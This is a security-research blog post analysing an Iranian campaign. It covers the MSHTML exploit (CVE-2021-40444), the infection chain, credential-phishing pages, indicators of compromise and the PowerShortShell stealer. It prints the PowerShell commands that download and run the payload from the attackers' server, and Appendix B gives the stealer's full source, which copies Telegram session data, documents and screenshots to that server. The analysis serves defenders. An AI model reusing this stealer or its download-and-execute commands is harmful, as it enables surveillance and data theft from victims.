New PowerShortShell Stealer Exploits Recent Microsoft MSHTML Vulnerability to Spy on Farsi Speakers

byTomer Bar

Research

Summary

SafeBreach Labs discovered a new Iranian threat actor using a Microsoft MSHTML Remote Code Execution (RCE) exploit for infecting Farsi-speaking victims with a new PowerShell stealer. The threat actor initiated the attack in mid-September 2021, and it was first reported by ShadowChasing[1] on Twitter. However, the PowerShell Stealer hash/code was not published and was not included in VirusTotal or other public malware repositories.

SafeBreach Labs analyzed the full attack chain, discovered new phishing attacks which started in July this year and achieved the last and most interesting piece of the puzzle - the PowerShell Stealer code - which we named PowerShortShell. The reason we chose this name is due to the fact that the stealer is a PowerShell script, short with powerful collection capabilities - in only ~150 lines, it provides the adversary a lot of critical information including screen captures, telegram files, document collection, and extensive data about the victim’s environment.
Almost half of the victims are located in the United States. Based on the Microsoft Word document content - which blames Iran’s leader for the “Corona massacre” and the nature of the collected data, we assume that the victims might be Iranians who live abroad and might be seen as a threat to Iran's Islamic regime. The adversary might be tied to Iran’s Islamic regime since the Telegram surveillance usage is typical of Iran's threat actors like Infy, Ferocious Kitten, and Rampant Kitten. Surprisingly, the usage of exploits for the infection is quite unique to Iranian threat actors which in most cases heavily rely on social engineering tricks.

In this research, we will explain the attack chain, which includes two different Microsoft Word exploit files, describe the information stealer malware capabilities (the full source code is provided in the appendix), provide a heat map of known victims, and explain the phishing attacks.****

Attack Sequence Overview

First, we will provide an overview of the CVE-2021-40444 exploit’s steps[2][3]:

  1. Step1 - The attack starts by sending a spear phishing mail (with a Winword attachment) that the victim is lured to open.
  2. Step 2 - The Word file connects to the malicious server, executes the malicious html, and then drops a DLL to the %temp% directory.
    1. A relationship stored in the xml file document.xml.rels points to a malicious html on the C2 server: mshtml:http://hr[.]dedyn[.]io/image.html.
    2. The JScript within the HTML contains an object pointing to a CAB file and an iframe pointing to an INF file, prefixed with the ".cpl:" directive.
    3. The CAB file is opened. Due to a directory traversal vulnerability in the CAB, it's possible to store the msword.inf file in %TEMP%.
  3. Step 3 - The malicious DLL executes the PowerShell script.
    1. The INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32: for example: '.cpl:../../../../../Temp/Low/msword.inf'.
    2. Msword.inf is a dll downloads and executes the final payload (PowerShell script).
    3. The PowerShell script collects data and exfiltrates it to the attacker’s C2 server.

In the next few sections, we will go over each step and provide additional data and explanations.

Detailed Attack Sequence

First Step - The victims opens a Winword document in Farsi

The first exploit document is called: Mozdor.docx. It includes images of Iranian soldiers. It exploits the CVE-2021-40444 vulnerability.

The second exploit document is: جنایات خامنه ای.docx (Khamenei Crimes.docx). It says:

“One week with Khamenei; Complain against the perpetrators of the Corona massacre, including the leader”

It includes links to the following Iranian news site and Twitter account:

Step 2 - Exploit Microsoft MSHTML Remote Code Execution Vulnerability CVE-2021-40444

The Word files connect to the malicious server, execute the malicious html, and then drop a dll to the %temp% directory. The mozdor.docx file includes an exploit in the file document.xml.rels. It executes mshtml:http://hr[.]dedyn[.]io/image.html, while the second docx executes mshtml:http://hr.dedyn.io/word.html.

Word.html executes a dll with an inf extension. It downloads and extracts http://hr.dedyn.io/word.cab, which includes a dll with a directory traversal ..\Msword.inf which extracts and is executed by cpl:'.cpl:../../../../../Temp/Low/msword.inf'

Step 3 - The DLL executes PowerShell to download and execute 1.ps1

Msword.inf is the dll used to download and execute PowerShortShell (1.ps1 script file)

powershell.exe -windowstyle hidden (new-object system.Net.WebClient).DownloadFile('http://hr.dedyn.io/1.ps1', 'C:/windows/temp/1.ps1')

powershell.exe -windowstyle hidden -ExecutionPolicy Unrestricted -File "C:/windows/temp/1.ps1

Final step - PowerShortShell - 1.ps1

The PowerShell code consists of 153 lines which support:

Phishing

The exploit attack described above started on September 15, 2021. We found that the adversary started two phishing campaigns by collecting credentials for Gmail and Instagram in July 2021 using the same C2 server - Deltaban[.]dedyn[.]io - a phishing HTML page masquerading as the legit deltaban.com travel agency:

This is a phishing site. A click will transfer the victim to an Iranian short URL: https://yun[.]ir/jcccj.

This URL will resolve to signin[.]dedyn[.]io/Social/Google_Finish. The domain was registered in July 2021.

The stolen credentials are stored in the file out.txt, which is of course available for browsing.
One of the victims is probably of Indian origin.

Instagram Phishing

We also found that this site is used for Instagram credential theft: https://signin[.]dedyn[.]io/Social/Instagram/Account. The credentials are saved to the same out.txt file.

Victims

The exact victims are unknown but we were able to build a victims heat map.

Appendix A - IOC’s

All of the following resolved to 95.217.50.126:

  1. hr.dedyn.io - C2 and infection server
  2. signin.dedyn.io - phishing
  3. Irkodex.dedyn.io - phishing
  4. Deltaban.dedyn.io - phishing **
    **

1.ps1 - PowerShortShell

F69595FD06582FE1426D403844696410904D27E7624F0DCF65D6EA57E0265168

Cab file which includes a dll with directory traversal ..\Msword.inf

Ce962676090195a5f829e7baf013a3213b3b32e27c9631dc932aab2ce46a6b9b

Msword.inf - dll to download and execute 1.ps1
5d7a683a6231a4dc0fcc71c4b6d413c6655c7a0e5c58452d321614954d7030d3

E093cce6a4066aa37ed68121fe1464a3e130a3ce0fbb89e8b13651fd7dab842b

Jscript - part of the html file

6e730b257c3e0c5ce6c73ff0f6732ad2d09f000b423085303a928e665dbbee16

Word.html,image.html,index.html - html file exploit
374239d2056a8a20b05d4bf4431a852af330f2675158afde8de71ac5b991e273
B378a1136fddcd533cbdf7473175bf5d34f5eb86436b8eb651435eb3a27a87c6

11368964D768D7FA4AB48100B231790C3D23C45EEDFC7A73ACD7F3FEC703ACA7

Document.xml.rels - Xml files 28ad066cfe08fcce77974ef469c32e4d2a762e50d6b95b8569e34199d679bde8

5AC4574929A8825A5D4F267544C33D02919AB38F38F21CE5C9389B67DF241B43
Will download mshtml:http://hr.dedyn.io/image.html and http://hr.dedyn.io/word.html**

Docx infectors**

D793193c2d0c31bC23639725b097a6a0ffbe9f60a46eabfe0128e006f0492a08
Mozdor.docx - 0b90ef87dbbb9e6e4a5e5027116d4d7c4bc2824a491292263eb8a7bda8afb7bd
PreviousRelated Research

Appendix B - PowerShortShell Stealer source code

Remove-Item –path C:\Windows\Temp\1.ps1

Add-Type -assembly "system.io.compression.filesystem"

$source = "C:\windows\temp\8f720a5db6c7"

$destination = "https://hr.dedyn.io/upload.aspx?fn="

$destination2 = "https://hr.dedyn.io/upload2.aspx"

$log = "c:\windows\temp\777.log"

function Pos-Da($dest,$url)

{

try{

$buffer = [System.IO.File]::ReadAllBytes($dest)

[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)

$webRequest.Timeout =10000000

$webRequest.Method = "POST"

$webRequest.ContentType = "application/data"

$requestStream = $webRequest.GetRequestStream()

$requestStream.Write($buffer, 0, $buffer.Length)

$requestStream.Flush()

$requestStream.Close()

[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()

$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())

$result = $streamReader.ReadToEnd()

$streamReader.Close()

}

catch

{

Write-Error $_.Exception.Message | out-file $log -Append

}

}

function Get-ScreenCapture

{

param(

[Switch]$OfWindow

)

begin {

Add-Type -AssemblyName System.Drawing

$jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |

Where-Object { $_.FormatDescription -eq "JPEG" }

}

process {

Start-Sleep -Milliseconds 250

if ($OfWindow) {

[Windows.Forms.Sendkeys]::SendWait("%{PrtSc}")

} else {

[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")

}

Start-Sleep -Milliseconds 250

$bitmap = [Windows.Forms.Clipboard]::GetImage()

$ep = New-Object Drawing.Imaging.EncoderParameters

$ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)

$screenCapturePathBase = "$source\ScreenCapture"

$c = 0

while (Test-Path "${screenCapturePathBase}${c}.jpg") {

$c++

}

$bitmap.Save("${screenCapturePathBase}${c}.jpg", $jpegCodec, $ep)

}

}

New-Item -ItemType directory -Path $source

Get-WmiObject -class win32_computersystem | Out-File $source\summary.txt

Get-WmiObject Win32_BIOS -computerName localhost | Out-File $source\bios.txt;

Get-WmiObject -Class “win32_PhysicalMemory” -namespace “root\CIMV2” | Out-File $source\ram.txt;

@(Get-WmiObject -class win32_processor | Select Caption, Description, NumberOfCores, NumberOfLogicalProcessors, Name, Manufacturer, SystemCreationClassName, Version) | Out-File $source\cpu.txt;

gwmi Win32NetworkAdapterConfiguration | Where { $.IPAddress } | Select -Expand IPAddress | Out-File $source\ip.txt;

gwmi Win32_NetworkAdapterConfiguration | Out-File $source\NetworkAdapterConfig.txt;

get-WmiObject win32_logicaldisk | Out-File $source\disk.txt;

Get-Process | Out-File -filepath $source\process.txt;

Get-NetAdapter | Out-File $source\NetworkAdapter.txt;

#net view | Out-File $source\NetView.txt;

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize | Out-File $source\apps.txt;

ipconfig /all | Out-File $source\ipConfig.txt;

netstat -ano | Out-File $source\netstat.txt;

arp -a -v | Out-File $source\arp.txt;

net user | Out-File $source\netuser.txt;

Get-CimInstance Win32_OperatingSystem | FL * | Out-File $source\os.txt;

Get-ExecutionPolicy -List | Out-File $source\policy.txt;

Get-Service | Out-File $source\service.txt;

Get-ScreenCapture

$files = Get-ChildItem $source

foreach ($file in $files)

{

Pos-Da -dest $file.FullName -url "$destination+$file"

}

$path= Split-Path -Path (Get-WMIObject Win32LogicalDisk -filter "DriveType = 3" | Select-Object DeviceID | ForEach-Object {Get-Childitem ($.DeviceID + "\") -Attributes !Directory,!Directory+Hidden -include Telegram.exe -recurse})

$index=0

foreach ($a in $path)

{

try{

$tempDwn="C:\windows\temp\tdata{0}" -f $index

New-Item -ItemType Directory -Force -Path $tempDwn"\D877F783D5D3EF8C"

$source= $a+"\tdata\D877F783D5D3EF8C"

if(Test-Path -Path $source)

{

$d8files=Get-ChildItem -Path $source | Where-Object {$_.Name.Contains("map")} | select FullName, Name

foreach($d8 in $d8files)

{

$mtemp="{0}\D877F783D5D3EF8C\{1}" -f $tempDwn, $d8.Name

Copy-Item $d8.FullName -Destination $mtemp

}

else {

continue

}

$tempFiles=Get-ChildItem -Path $a"\tdata" | Where-Object {$_.PSIsContainer -eq $false} | select FullName, Name

foreach ($file in $tempFiles)

{

try

{

$destTemp="{0}\{1}" -f $tempDwn, $file.Name

Copy-Item $file.FullName -Destination $destTemp

}

Catch{}

}

echo $tempDwn

$dest="C:\windows\temp\tdata{0}.zip" -f $index

[io.compression.zipfile]::CreateFromDirectory($tempDwn, $dest)

Start-Sleep -s 15

Pos-Da -dest $dest -url $destination2

}

catch

{

Write-Error $_.Exception.Message | out-file $log -Append

}

$index++

Start-Sleep -s 15

Remove-Item –path $dest

Remove-Item –path $tempDwn -Recurse

}

$files = (Get-WMIObject Win32LogicalDisk -filter "DriveType = 3" | Select-Object DeviceID | ForEach-Object {Get-Childitem ($.DeviceID + "\") -include .doc,.docx,.pptx,.pdf,.txt,.xls,.xlsx,.bak,.db,.mdb,*.accdb -recurse})

foreach ($file in $files)

{

$destUrl="{0}{1}" -f $destination, $file.Name

Pos-Da -dest $file.FullName -url $destUrl

Start-Sleep -s 5

}

Remove-Item –path $source -Recurse

Remove-Item -path $log

Reference

[1]https://twitter.com/ShadowChasing1/status/1438126675565244417

[2]https://github.com/klezVirus/CVE-2021-40444

[3]https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/

Headquarters

  • 111 W Evelyn Ave
  • Sunnyvale, CA94086
  • USA
  • 408-743-5279

R&D Center

  • Yosef Karo St 18
  • Tel Aviv-Yafo,
  • Israel
  • +972-77-434-4506
© SafeBreach Inc. 2021
|